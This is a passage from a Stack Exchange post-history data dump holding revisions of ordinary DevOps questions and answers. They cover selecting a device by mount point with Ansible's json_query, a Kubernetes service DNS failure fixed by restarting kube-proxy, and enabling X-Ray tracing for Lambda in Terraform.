  <row Id="28462" PostHistoryTypeId="2" PostId="9536" RevisionGUID="5671e87e-767c-4dd2-b5e0-7b017f78b70e" CreationDate="2019-10-23T12:23:56.517" UserId="5251" Text="Using Ansible facts I can get the list of &quot;ansible_mounts&quot;:&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;        &quot;ansible_mounts&quot;: [&#xD;&#xA;            {&#xD;&#xA;                &quot;block_available&quot;: 423698, &#xD;&#xA;                &quot;block_size&quot;: 4096, &#xD;&#xA;                &quot;block_total&quot;: 507604, &#xD;&#xA;                &quot;block_used&quot;: 83906, &#xD;&#xA;                &quot;device&quot;: &quot;/dev/sdb1&quot;, &#xD;&#xA;                &quot;fstype&quot;: &quot;ext4&quot;, &#xD;&#xA;                &quot;inode_available&quot;: 130999, &#xD;&#xA;                &quot;inode_total&quot;: 131072, &#xD;&#xA;                &quot;inode_used&quot;: 73, &#xD;&#xA;                &quot;mount&quot;: &quot;/boot&quot;, &#xD;&#xA;                &quot;options&quot;: &quot;rw&quot;, &#xD;&#xA;                &quot;size_available&quot;: 1735467008, &#xD;&#xA;                &quot;size_total&quot;: 2079145984, &#xD;&#xA;                &quot;uuid&quot;: &quot;b5cfa485-21d2-4e66-b3a3-80f250acf9d9&quot;&#xD;&#xA;            }, &#xD;&#xA;            {&#xD;&#xA;                &quot;block_available&quot;: 42446481, &#xD;&#xA;                &quot;block_size&quot;: 4096, &#xD;&#xA;                &quot;block_total&quot;: 131007993, &#xD;&#xA;                &quot;block_used&quot;: 88561512, &#xD;&#xA;                &quot;device&quot;: &quot;/dev/sdd1&quot;, &#xD;&#xA;                &quot;fstype&quot;: &quot;xfs&quot;, &#xD;&#xA;                &quot;inode_available&quot;: 524243436, &#xD;&#xA;                &quot;inode_total&quot;: 524287936, &#xD;&#xA;                &quot;inode_used&quot;: 44500, &#xD;&#xA;                &quot;mount&quot;: &quot;/u01&quot;, &#xD;&#xA;                &quot;options&quot;: &quot;rw&quot;, &#xD;&#xA;                &quot;size_available&quot;: 173860786176, &#xD;&#xA;                &quot;size_total&quot;: 536608739328, &#xD;&#xA;                &quot;uuid&quot;: &quot;f34a9499-ca4e-4db6-801a-16efb72a629d&quot;&#xD;&#xA;            }, &#xD;&#xA;            {&#xD;&#xA;                &quot;block_available&quot;: 3010686, &#xD;&#xA;                &quot;block_size&quot;: 4096, &#xD;&#xA;                &quot;block_total&quot;: 4095466, &#xD;&#xA;                &quot;block_used&quot;: 1084780, &#xD;&#xA;                &quot;device&quot;: &quot;/dev/sdc1&quot;, &#xD;&#xA;                &quot;fstype&quot;: &quot;ext4&quot;, &#xD;&#xA;                &quot;inode_available&quot;: 984674, &#xD;&#xA;                &quot;inode_total&quot;: 1048576, &#xD;&#xA;                &quot;inode_used&quot;: 63902, &#xD;&#xA;                &quot;mount&quot;: &quot;/&quot;, &#xD;&#xA;                &quot;options&quot;: &quot;rw&quot;, &#xD;&#xA;                &quot;size_available&quot;: 12331769856, &#xD;&#xA;                &quot;size_total&quot;: 16775028736, &#xD;&#xA;                &quot;uuid&quot;: &quot;829e9504-965b-4660-acc2-12d10d022a3c&quot;&#xD;&#xA;            }&#xD;&#xA;        ], &#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;How I can get the value of `device` where `mount` value is &quot;/&quot; ?" ContentLicense="CC BY-SA 4.0" />
  <row Id="28463" PostHistoryTypeId="1" PostId="9536" RevisionGUID="5671e87e-767c-4dd2-b5e0-7b017f78b70e" CreationDate="2019-10-23T12:23:56.517" UserId="5251" Text="How to get the device name of a specified mount point with ansible facts?" ContentLicense="CC BY-SA 4.0" />
  <row Id="28464" PostHistoryTypeId="3" PostId="9536" RevisionGUID="5671e87e-767c-4dd2-b5e0-7b017f78b70e" CreationDate="2019-10-23T12:23:56.517" UserId="5251" Text="&lt;ansible&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="28465" PostHistoryTypeId="5" PostId="9535" RevisionGUID="43318e05-315f-49e8-8ade-8be8bc7853ab" CreationDate="2019-10-23T12:28:33.393" UserId="17606" Comment="deleted 20 characters in body" Text="I have an in house 5 node cluster running on bare-metal and I am using Calico. The cluster was working for 22 days but suddenly it stopped working. After investigating the problem I found out that the service to pod communication is broken while all the components are up and kubectl is working without a problem.&#xD;&#xA;&#xD;&#xA;From within the cluster (component A) if I try to curl another component (`bridge`) with its IP it works:&#xD;&#xA;```&#xD;&#xA;$ curl -vvv http://10.4.130.184:9998&#xD;&#xA;* Rebuilt URL to: http://10.4.130.184:9998/&#xD;&#xA;*   Trying 10.4.130.184...&#xD;&#xA;* TCP_NODELAY set&#xD;&#xA;* Connected to 10.4.130.184 (10.4.130.184) port 9998 (#0)&#xD;&#xA;&gt; GET / HTTP/1.1&#xD;&#xA;&gt; Host: 10.4.130.184:9998&#xD;&#xA;&gt; User-Agent: curl/7.58.0&#xD;&#xA;&gt; Accept: */*&#xD;&#xA;&gt; &#xD;&#xA;&lt; HTTP/1.1 200 OK&#xD;&#xA;&lt; X-Powered-By: Express&#xD;&#xA;&lt; Accept-Ranges: bytes&#xD;&#xA;&lt; Cache-Control: public, max-age=0&#xD;&#xA;&lt; Last-Modified: Mon, 08 Apr 2019 14:06:42 GMT&#xD;&#xA;&lt; ETag: W/&quot;179-169fd45c550&quot;&#xD;&#xA;&lt; Content-Type: text/html; charset=UTF-8&#xD;&#xA;&lt; Content-Length: 377&#xD;&#xA;&lt; Date: Wed, 23 Oct 2019 09:56:35 GMT&#xD;&#xA;&lt; Connection: keep-alive&#xD;&#xA;&lt; &#xD;&#xA;&lt;!doctype html&gt;&#xD;&#xA;&lt;html lang=&quot;en&quot;&gt;&#xD;&#xA;&lt;head&gt;&#xD;&#xA;	&lt;meta charset=&quot;utf-8&quot; /&gt;&#xD;&#xA;	&lt;meta http-equiv=&quot;X-UA-Compatible&quot; content=&quot;IE=edge,chrome=1&quot; /&gt;&#xD;&#xA;&#xD;&#xA;	&lt;title&gt;Bridge&lt;/title&gt;&#xD;&#xA;&#xD;&#xA;	&lt;meta content='width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=0' name='viewport' /&gt;&#xD;&#xA;    &lt;meta name=&quot;viewport&quot; content=&quot;width=device-width&quot; /&gt;&#xD;&#xA;&lt;/head&gt;&#xD;&#xA;&lt;body&gt;&#xD;&#xA;    &lt;h1&gt;Bridge&lt;/h1&gt;&#xD;&#xA;&lt;/body&gt;&#xD;&#xA;&#xD;&#xA;&lt;/html&gt;&#xD;&#xA;* Connection #0 to host 10.4.130.184 left intact&#xD;&#xA;```&#xD;&#xA;ns lookup for the service is also working (it resolve to the service IP):&#xD;&#xA;```&#xD;&#xA;$ nslookup bridge&#xD;&#xA;Server:    10.5.0.10&#xD;&#xA;Address 1: 10.5.0.10 kube-dns.kube-system.svc.k8s.local&#xD;&#xA;&#xD;&#xA;Name:      bridge&#xD;&#xA;Address 1: 10.5.160.50 bridge.170.svc.k8s.local&#xD;&#xA;```&#xD;&#xA;But the service to pod communication is broken and when I curl to the service name most of the times (60-70%) it stuck:&#xD;&#xA;```&#xD;&#xA;$ curl -vvv http://bridge:9998&#xD;&#xA;* Rebuilt URL to: http://bridge:9998/&#xD;&#xA;* Could not resolve host: bridge&#xD;&#xA;* Closing connection 0&#xD;&#xA;curl: (6) Could not resolve host: bridge&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;When I check the endpoints of the that service I can see that the IP of that pod is there:&#xD;&#xA;```&#xD;&#xA;$ kubectl get ep -n 170 bridge&#xD;&#xA;NAME     ENDPOINTS                                               AGE&#xD;&#xA;bridge   10.4.130.184:9226,10.4.130.184:9998,10.4.130.184:9226   11d&#xD;&#xA;```&#xD;&#xA;But as I said the curl (and any other method) that uses the service name is not working. And this is the service description:&#xD;&#xA;```&#xD;&#xA;$ kubectl describe svc -n 170 bridge&#xD;&#xA;Name:              bridge&#xD;&#xA;Namespace:         170&#xD;&#xA;Labels:            io.kompose.service=bridge&#xD;&#xA;Annotations:       Process: bridge&#xD;&#xA;Selector:          io.kompose.service=bridge&#xD;&#xA;Type:              ClusterIP&#xD;&#xA;IP:                10.5.160.50&#xD;&#xA;Port:              9998  9998/TCP&#xD;&#xA;TargetPort:        9998/TCP&#xD;&#xA;Endpoints:         10.4.130.184:9998&#xD;&#xA;Port:              9226  9226/TCP&#xD;&#xA;TargetPort:        9226/TCP&#xD;&#xA;Endpoints:         10.4.130.184:9226&#xD;&#xA;Port:              9226-udp  9226/UDP&#xD;&#xA;TargetPort:        9226/UDP&#xD;&#xA;Endpoints:         10.4.130.184:9226&#xD;&#xA;Session Affinity:  None&#xD;&#xA;Events:            &lt;none&gt;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;This problem is not limited to just this component and it is like this for all the components.&#xD;&#xA;&#xD;&#xA;I restarted the CoreDNS (deleted its pods) but it is still the same. I was facing this problem before and previous time I thought it is related to Weavenet that I was using and I needed the cluster so I tore down the cluster and rebuilt it with Calico but now I am sure that this is not related to CNI and it is something else. &#xD;&#xA;&#xD;&#xA;**Environment**:&#xD;&#xA;- Kubernetes version (use `kubectl version`):&#xD;&#xA;```&#xD;&#xA;Client Version: version.Info{Major:&quot;1&quot;, Minor:&quot;14&quot;, GitVersion:&quot;v1.14.1&quot;, GitCommit:&quot;b7394102d6ef778017f2ca4046abbaa23b88c290&quot;, GitTreeState:&quot;clean&quot;, BuildDate:&quot;2019-04-08T17:11:31Z&quot;, GoVersion:&quot;go1.12.1&quot;, Compiler:&quot;gc&quot;, Platform:&quot;linux/amd64&quot;}&#xD;&#xA;Server Version: version.Info{Major:&quot;1&quot;, Minor:&quot;16&quot;, GitVersion:&quot;v1.16.0&quot;, GitCommit:&quot;2bd9643cee5b3b3a5ecbd3af49d09018f0773c77&quot;, GitTreeState:&quot;clean&quot;, BuildDate:&quot;2019-09-18T14:27:17Z&quot;, GoVersion:&quot;go1.12.9&quot;, Compiler:&quot;gc&quot;, Platform:&quot;linux/amd64&quot;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;- Cloud provider or hardware configuration:&#xD;&#xA;This is a bare-metal cluster of 5 nodes, 1 master and 4 workers. All nodes are running Ubuntu 18.04 and they are connecting to the same subnet.&#xD;&#xA;&#xD;&#xA;- OS (e.g: `cat /etc/os-release`):&#xD;&#xA;```&#xD;&#xA;NAME=&quot;Ubuntu&quot;&#xD;&#xA;VERSION=&quot;18.04.2 LTS (Bionic Beaver)&quot;&#xD;&#xA;ID=ubuntu&#xD;&#xA;ID_LIKE=debian&#xD;&#xA;PRETTY_NAME=&quot;Ubuntu 18.04.2 LTS&quot;&#xD;&#xA;VERSION_ID=&quot;18.04&quot;&#xD;&#xA;HOME_URL=&quot;https://www.ubuntu.com/&quot;&#xD;&#xA;SUPPORT_URL=&quot;https://help.ubuntu.com/&quot;&#xD;&#xA;BUG_REPORT_URL=&quot;https://bugs.launchpad.net/ubuntu/&quot;&#xD;&#xA;PRIVACY_POLICY_URL=&quot;https://www.ubuntu.com/legal/terms-and-policies/privacy-policy&quot;&#xD;&#xA;VERSION_CODENAME=bionic&#xD;&#xA;UBUNTU_CODENAME=bionic&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;- Kernel (e.g. `uname -a`):&#xD;&#xA;```&#xD;&#xA;Linux serflex-argus-1 4.15.0-55-generic #60-Ubuntu SMP Tue Jul 2 18:22:20 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;- Install tools:&#xD;&#xA;Kubeadm&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;- Network plugin and version (if this is a network-related bug):&#xD;&#xA;Calico&#xD;&#xA;&quot;cniVersion&quot;: &quot;0.3.1&quot;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="28466" PostHistoryTypeId="5" PostId="9535" RevisionGUID="ae5d2c2d-f905-4ec8-bf92-d7424d59f8f5" CreationDate="2019-10-23T12:40:28.300" UserId="17606" Comment="added 182 characters in body" Text="I have an in house 5 node cluster running on bare-metal and I am using Calico. The cluster was working for 22 days but suddenly it stopped working. After investigating the problem I found out that the service to pod communication is broken while all the components are up and kubectl is working without a problem.&#xD;&#xA;&#xD;&#xA;From within the cluster (component A) if I try to curl another component (`bridge`) with its IP it works:&#xD;&#xA;```&#xD;&#xA;$ curl -vvv http://10.4.130.184:9998&#xD;&#xA;* Rebuilt URL to: http://10.4.130.184:9998/&#xD;&#xA;*   Trying 10.4.130.184...&#xD;&#xA;* TCP_NODELAY set&#xD;&#xA;* Connected to 10.4.130.184 (10.4.130.184) port 9998 (#0)&#xD;&#xA;&gt; GET / HTTP/1.1&#xD;&#xA;&gt; Host: 10.4.130.184:9998&#xD;&#xA;&gt; User-Agent: curl/7.58.0&#xD;&#xA;&gt; Accept: */*&#xD;&#xA;&gt; &#xD;&#xA;&lt; HTTP/1.1 200 OK&#xD;&#xA;&lt; X-Powered-By: Express&#xD;&#xA;&lt; Accept-Ranges: bytes&#xD;&#xA;&lt; Cache-Control: public, max-age=0&#xD;&#xA;&lt; Last-Modified: Mon, 08 Apr 2019 14:06:42 GMT&#xD;&#xA;&lt; ETag: W/&quot;179-169fd45c550&quot;&#xD;&#xA;&lt; Content-Type: text/html; charset=UTF-8&#xD;&#xA;&lt; Content-Length: 377&#xD;&#xA;&lt; Date: Wed, 23 Oct 2019 09:56:35 GMT&#xD;&#xA;&lt; Connection: keep-alive&#xD;&#xA;&lt; &#xD;&#xA;&lt;!doctype html&gt;&#xD;&#xA;&lt;html lang=&quot;en&quot;&gt;&#xD;&#xA;&lt;head&gt;&#xD;&#xA;	&lt;meta charset=&quot;utf-8&quot; /&gt;&#xD;&#xA;	&lt;meta http-equiv=&quot;X-UA-Compatible&quot; content=&quot;IE=edge,chrome=1&quot; /&gt;&#xD;&#xA;&#xD;&#xA;	&lt;title&gt;Bridge&lt;/title&gt;&#xD;&#xA;&#xD;&#xA;	&lt;meta content='width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=0' name='viewport' /&gt;&#xD;&#xA;    &lt;meta name=&quot;viewport&quot; content=&quot;width=device-width&quot; /&gt;&#xD;&#xA;&lt;/head&gt;&#xD;&#xA;&lt;body&gt;&#xD;&#xA;    &lt;h1&gt;Bridge&lt;/h1&gt;&#xD;&#xA;&lt;/body&gt;&#xD;&#xA;&#xD;&#xA;&lt;/html&gt;&#xD;&#xA;* Connection #0 to host 10.4.130.184 left intact&#xD;&#xA;```&#xD;&#xA;ns lookup for the service is also working (it resolve to the service IP):&#xD;&#xA;```&#xD;&#xA;$ nslookup bridge&#xD;&#xA;Server:    10.5.0.10&#xD;&#xA;Address 1: 10.5.0.10 kube-dns.kube-system.svc.k8s.local&#xD;&#xA;&#xD;&#xA;Name:      bridge&#xD;&#xA;Address 1: 10.5.160.50 bridge.170.svc.k8s.local&#xD;&#xA;```&#xD;&#xA;But the service to pod communication is broken and when I curl to the service name most of the times (60-70%) it stuck:&#xD;&#xA;```&#xD;&#xA;$ curl -vvv http://bridge:9998&#xD;&#xA;* Rebuilt URL to: http://bridge:9998/&#xD;&#xA;* Could not resolve host: bridge&#xD;&#xA;* Closing connection 0&#xD;&#xA;curl: (6) Could not resolve host: bridge&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;When I check the endpoints of the that service I can see that the IP of that pod is there:&#xD;&#xA;```&#xD;&#xA;$ kubectl get ep -n 170 bridge&#xD;&#xA;NAME     ENDPOINTS                                               AGE&#xD;&#xA;bridge   10.4.130.184:9226,10.4.130.184:9998,10.4.130.184:9226   11d&#xD;&#xA;```&#xD;&#xA;But as I said the curl (and any other method) that uses the service name is not working. And this is the service description:&#xD;&#xA;```&#xD;&#xA;$ kubectl describe svc -n 170 bridge&#xD;&#xA;Name:              bridge&#xD;&#xA;Namespace:         170&#xD;&#xA;Labels:            io.kompose.service=bridge&#xD;&#xA;Annotations:       Process: bridge&#xD;&#xA;Selector:          io.kompose.service=bridge&#xD;&#xA;Type:              ClusterIP&#xD;&#xA;IP:                10.5.160.50&#xD;&#xA;Port:              9998  9998/TCP&#xD;&#xA;TargetPort:        9998/TCP&#xD;&#xA;Endpoints:         10.4.130.184:9998&#xD;&#xA;Port:              9226  9226/TCP&#xD;&#xA;TargetPort:        9226/TCP&#xD;&#xA;Endpoints:         10.4.130.184:9226&#xD;&#xA;Port:              9226-udp  9226/UDP&#xD;&#xA;TargetPort:        9226/UDP&#xD;&#xA;Endpoints:         10.4.130.184:9226&#xD;&#xA;Session Affinity:  None&#xD;&#xA;Events:            &lt;none&gt;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;This problem is not limited to just this component and it is like this for all the components.&#xD;&#xA;&#xD;&#xA;I restarted the CoreDNS (deleted its pods) but it is still the same. I was facing this problem before and previous time I thought it is related to Weavenet that I was using and I needed the cluster so I tore down the cluster and rebuilt it with Calico but now I am sure that this is not related to CNI and it is something else. &#xD;&#xA;&#xD;&#xA;**Environment**:&#xD;&#xA;- Kubernetes version (use `kubectl version`):&#xD;&#xA;```&#xD;&#xA;Client Version: version.Info{Major:&quot;1&quot;, Minor:&quot;14&quot;, GitVersion:&quot;v1.14.1&quot;, GitCommit:&quot;b7394102d6ef778017f2ca4046abbaa23b88c290&quot;, GitTreeState:&quot;clean&quot;, BuildDate:&quot;2019-04-08T17:11:31Z&quot;, GoVersion:&quot;go1.12.1&quot;, Compiler:&quot;gc&quot;, Platform:&quot;linux/amd64&quot;}&#xD;&#xA;Server Version: version.Info{Major:&quot;1&quot;, Minor:&quot;16&quot;, GitVersion:&quot;v1.16.0&quot;, GitCommit:&quot;2bd9643cee5b3b3a5ecbd3af49d09018f0773c77&quot;, GitTreeState:&quot;clean&quot;, BuildDate:&quot;2019-09-18T14:27:17Z&quot;, GoVersion:&quot;go1.12.9&quot;, Compiler:&quot;gc&quot;, Platform:&quot;linux/amd64&quot;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;- Cloud provider or hardware configuration:&#xD;&#xA;This is a bare-metal cluster of 5 nodes, 1 master and 4 workers. All nodes are running Ubuntu 18.04 and they are connecting to the same subnet.&#xD;&#xA;&#xD;&#xA;- OS (e.g: `cat /etc/os-release`):&#xD;&#xA;```&#xD;&#xA;NAME=&quot;Ubuntu&quot;&#xD;&#xA;VERSION=&quot;18.04.2 LTS (Bionic Beaver)&quot;&#xD;&#xA;ID=ubuntu&#xD;&#xA;ID_LIKE=debian&#xD;&#xA;PRETTY_NAME=&quot;Ubuntu 18.04.2 LTS&quot;&#xD;&#xA;VERSION_ID=&quot;18.04&quot;&#xD;&#xA;HOME_URL=&quot;https://www.ubuntu.com/&quot;&#xD;&#xA;SUPPORT_URL=&quot;https://help.ubuntu.com/&quot;&#xD;&#xA;BUG_REPORT_URL=&quot;https://bugs.launchpad.net/ubuntu/&quot;&#xD;&#xA;PRIVACY_POLICY_URL=&quot;https://www.ubuntu.com/legal/terms-and-policies/privacy-policy&quot;&#xD;&#xA;VERSION_CODENAME=bionic&#xD;&#xA;UBUNTU_CODENAME=bionic&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;- Kernel (e.g. `uname -a`):&#xD;&#xA;```&#xD;&#xA;Linux serflex-argus-1 4.15.0-55-generic #60-Ubuntu SMP Tue Jul 2 18:22:20 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;- Install tools:&#xD;&#xA;Kubeadm&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;- Network plugin and version (if this is a network-related bug):&#xD;&#xA;Calico&#xD;&#xA;&quot;cniVersion&quot;: &quot;0.3.1&quot;&#xD;&#xA;&#xD;&#xA;# Update&#xD;&#xA;&#xD;&#xA;After deleting all the kube-proxy pods problem seemed to be solved but I still like to know what caused this problem. Btw I didn't see any error in the kube-proxy logs." ContentLicense="CC BY-SA 4.0" />
  <row Id="28467" PostHistoryTypeId="2" PostId="9537" RevisionGUID="2816149e-6947-45ad-b89c-ec7507c71968" CreationDate="2019-10-23T13:08:34.537" UserId="7715" Text="Use *json_query*. For example&#xD;&#xA;&#xD;&#xA;    - set_fact:&#xD;&#xA;        my_device: &quot;{{ ansible_mounts|json_query(query) }}&quot;&#xD;&#xA;      vars:&#xD;&#xA;        query: &quot;[?mount=='/'].device &quot;&#xD;&#xA;    - debug:&#xD;&#xA;        var: my_device&#xD;&#xA;&#xD;&#xA;gives&#xD;&#xA;&#xD;&#xA;    &quot;my_device&quot;: [&#xD;&#xA;        &quot;/dev/sdc1&quot;&#xD;&#xA;    ]&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="28468" PostHistoryTypeId="2" PostId="9538" RevisionGUID="1e2da12e-36a9-431c-9a00-e37599d72b8b" CreationDate="2019-10-23T13:40:59.490" UserId="17276" Text="On the console there’s the option to enable active tracking for xray tracking but I can see this in the terraform aws_lambda_function&#xD;&#xA;Resource&#xD;&#xA;Or the aws_xray_sampling_rule resources?&#xD;&#xA;Im currently manually enabling it in the console to enable me to test it but Id like to enable it through terraform when I build the lambda?" ContentLicense="CC BY-SA 4.0" />
  <row Id="28469" PostHistoryTypeId="1" PostId="9538" RevisionGUID="1e2da12e-36a9-431c-9a00-e37599d72b8b" CreationDate="2019-10-23T13:40:59.490" UserId="17276" Text="How can I enable active traceing by defult for a lambda function useing terraform?" ContentLicense="CC BY-SA 4.0" />
  <row Id="28470" PostHistoryTypeId="3" PostId="9538" RevisionGUID="1e2da12e-36a9-431c-9a00-e37599d72b8b" CreationDate="2019-10-23T13:40:59.490" UserId="17276" Text="&lt;terraform&gt;&lt;aws-lambda&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="28471" PostHistoryTypeId="5" PostId="9537" RevisionGUID="afbdcf87-29e5-4824-86ea-56ec0e52ed2c" CreationDate="2019-10-23T14:25:50.687" UserId="7715" Comment="added 159 characters in body" Text="Use *json_query*. For example&#xD;&#xA;&#xD;&#xA;    - set_fact:&#xD;&#xA;        my_device: &quot;{{ ansible_mounts|json_query(query) }}&quot;&#xD;&#xA;      vars:&#xD;&#xA;        query: &quot;[?mount=='/'].device &quot;&#xD;&#xA;    - debug:&#xD;&#xA;        var: my_device&#xD;&#xA;&#xD;&#xA;gives&#xD;&#xA;&#xD;&#xA;    &quot;my_device&quot;: [&#xD;&#xA;        &quot;/dev/sdc1&quot;&#xD;&#xA;    ]&#xD;&#xA;&#xD;&#xA;To get the first element of the list only append the filter *first*&#xD;&#xA;&#xD;&#xA;    - set_fact:&#xD;&#xA;        my_device: &quot;{{ ansible_mounts|json_query(query)|first }}&quot;" ContentLicense="CC BY-SA 4.0" />
  <row Id="28472" PostHistoryTypeId="5" PostId="9538" RevisionGUID="d16d7c0f-5d2b-4b7e-89aa-a5bc7923cad9" CreationDate="2019-10-23T14:37:09.110" UserId="397" Comment="Typos, formatting, links, etc.; edited tags" Text="On the console, there’s the option to enable active tracking for X-ray tracking but I can see this in the Terraform [`aws_lambda_function`][1] resource the [`aws_xray_sampling_rule`][2] resources?&#xD;&#xA;&#xD;&#xA;I'm currently manually enabling it in the console to enable me to test it but I'd like to enable it through Terraform when I build the Lambda?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.terraform.io/docs/providers/aws/r/lambda_function.html&#xD;&#xA;  [2]: https://www.terraform.io/docs/providers/aws/r/xray_sampling_rule.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="28473" PostHistoryTypeId="4" PostId="9538" RevisionGUID="d16d7c0f-5d2b-4b7e-89aa-a5bc7923cad9" CreationDate="2019-10-23T14:37:09.110" UserId="397" Comment="Typos, formatting, links, etc.; edited tags" Text="How can I enable active tracing by default for an AWS Lambda function using Terraform?" ContentLicense="CC BY-SA 4.0" />
  <row Id="28474" PostHistoryTypeId="6" PostId="9538" RevisionGUID="d16d7c0f-5d2b-4b7e-89aa-a5bc7923cad9" CreationDate="2019-10-23T14:37:09.110" UserId="397" Comment="Typos, formatting, links, etc.; edited tags" Text="&lt;amazon-web-services&gt;&lt;terraform&gt;&lt;aws-lambda&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="28475" PostHistoryTypeId="5" PostId="9535" RevisionGUID="56c48474-e614-4657-a6a0-4f2f9f084af2" CreationDate="2019-10-23T14:48:26.270" UserId="17606" Comment="added 4625 characters in body" Text="I have an in house 5 node cluster running on bare-metal and I am using Calico. The cluster was working for 22 days but suddenly it stopped working. After investigating the problem I found out that the service to pod communication is broken while all the components are up and kubectl is working without a problem.&#xD;&#xA;&#xD;&#xA;From within the cluster (component A) if I try to curl another component (`bridge`) with its IP it works:&#xD;&#xA;```&#xD;&#xA;$ curl -vvv http://10.4.130.184:9998&#xD;&#xA;* Rebuilt URL to: http://10.4.130.184:9998/&#xD;&#xA;*   Trying 10.4.130.184...&#xD;&#xA;* TCP_NODELAY set&#xD;&#xA;* Connected to 10.4.130.184 (10.4.130.184) port 9998 (#0)&#xD;&#xA;&gt; GET / HTTP/1.1&#xD;&#xA;&gt; Host: 10.4.130.184:9998&#xD;&#xA;&gt; User-Agent: curl/7.58.0&#xD;&#xA;&gt; Accept: */*&#xD;&#xA;&gt; &#xD;&#xA;&lt; HTTP/1.1 200 OK&#xD;&#xA;&lt; X-Powered-By: Express&#xD;&#xA;&lt; Accept-Ranges: bytes&#xD;&#xA;&lt; Cache-Control: public, max-age=0&#xD;&#xA;&lt; Last-Modified: Mon, 08 Apr 2019 14:06:42 GMT&#xD;&#xA;&lt; ETag: W/&quot;179-169fd45c550&quot;&#xD;&#xA;&lt; Content-Type: text/html; charset=UTF-8&#xD;&#xA;&lt; Content-Length: 377&#xD;&#xA;&lt; Date: Wed, 23 Oct 2019 09:56:35 GMT&#xD;&#xA;&lt; Connection: keep-alive&#xD;&#xA;&lt; &#xD;&#xA;&lt;!doctype html&gt;&#xD;&#xA;&lt;html lang=&quot;en&quot;&gt;&#xD;&#xA;&lt;head&gt;&#xD;&#xA;	&lt;meta charset=&quot;utf-8&quot; /&gt;&#xD;&#xA;	&lt;meta http-equiv=&quot;X-UA-Compatible&quot; content=&quot;IE=edge,chrome=1&quot; /&gt;&#xD;&#xA;&#xD;&#xA;	&lt;title&gt;Bridge&lt;/title&gt;&#xD;&#xA;&#xD;&#xA;	&lt;meta content='width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=0' name='viewport' /&gt;&#xD;&#xA;    &lt;meta name=&quot;viewport&quot; content=&quot;width=device-width&quot; /&gt;&#xD;&#xA;&lt;/head&gt;&#xD;&#xA;&lt;body&gt;&#xD;&#xA;    &lt;h1&gt;Bridge&lt;/h1&gt;&#xD;&#xA;&lt;/body&gt;&#xD;&#xA;&#xD;&#xA;&lt;/html&gt;&#xD;&#xA;* Connection #0 to host 10.4.130.184 left intact&#xD;&#xA;```&#xD;&#xA;ns lookup for the service is also working (it resolve to the service IP):&#xD;&#xA;```&#xD;&#xA;$ nslookup bridge&#xD;&#xA;Server:    10.5.0.10&#xD;&#xA;Address 1: 10.5.0.10 kube-dns.kube-system.svc.k8s.local&#xD;&#xA;&#xD;&#xA;Name:      bridge&#xD;&#xA;Address 1: 10.5.160.50 bridge.170.svc.k8s.local&#xD;&#xA;```&#xD;&#xA;But the service to pod communication is broken and when I curl to the service name most of the times (60-70%) it stuck:&#xD;&#xA;```&#xD;&#xA;$ curl -vvv http://bridge:9998&#xD;&#xA;* Rebuilt URL to: http://bridge:9998/&#xD;&#xA;* Could not resolve host: bridge&#xD;&#xA;* Closing connection 0&#xD;&#xA;curl: (6) Could not resolve host: bridge&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;When I check the endpoints of the that service I can see that the IP of that pod is there:&#xD;&#xA;```&#xD;&#xA;$ kubectl get ep -n 170 bridge&#xD;&#xA;NAME     ENDPOINTS                                               AGE&#xD;&#xA;bridge   10.4.130.184:9226,10.4.130.184:9998,10.4.130.184:9226   11d&#xD;&#xA;```&#xD;&#xA;But as I said the curl (and any other method) that uses the service name is not working. And this is the service description:&#xD;&#xA;```&#xD;&#xA;$ kubectl describe svc -n 170 bridge&#xD;&#xA;Name:              bridge&#xD;&#xA;Namespace:         170&#xD;&#xA;Labels:            io.kompose.service=bridge&#xD;&#xA;Annotations:       Process: bridge&#xD;&#xA;Selector:          io.kompose.service=bridge&#xD;&#xA;Type:              ClusterIP&#xD;&#xA;IP:                10.5.160.50&#xD;&#xA;Port:              9998  9998/TCP&#xD;&#xA;TargetPort:        9998/TCP&#xD;&#xA;Endpoints:         10.4.130.184:9998&#xD;&#xA;Port:              9226  9226/TCP&#xD;&#xA;TargetPort:        9226/TCP&#xD;&#xA;Endpoints:         10.4.130.184:9226&#xD;&#xA;Port:              9226-udp  9226/UDP&#xD;&#xA;TargetPort:        9226/UDP&#xD;&#xA;Endpoints:         10.4.130.184:9226&#xD;&#xA;Session Affinity:  None&#xD;&#xA;Events:            &lt;none&gt;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;This problem is not limited to just this component and it is like this for all the components.&#xD;&#xA;&#xD;&#xA;I restarted the CoreDNS (deleted its pods) but it is still the same. I was facing this problem before and previous time I thought it is related to Weavenet that I was using and I needed the cluster so I tore down the cluster and rebuilt it with Calico but now I am sure that this is not related to CNI and it is something else. &#xD;&#xA;&#xD;&#xA;**Environment**:&#xD;&#xA;- Kubernetes version (use `kubectl version`):&#xD;&#xA;```&#xD;&#xA;Client Version: version.Info{Major:&quot;1&quot;, Minor:&quot;14&quot;, GitVersion:&quot;v1.14.1&quot;, GitCommit:&quot;b7394102d6ef778017f2ca4046abbaa23b88c290&quot;, GitTreeState:&quot;clean&quot;, BuildDate:&quot;2019-04-08T17:11:31Z&quot;, 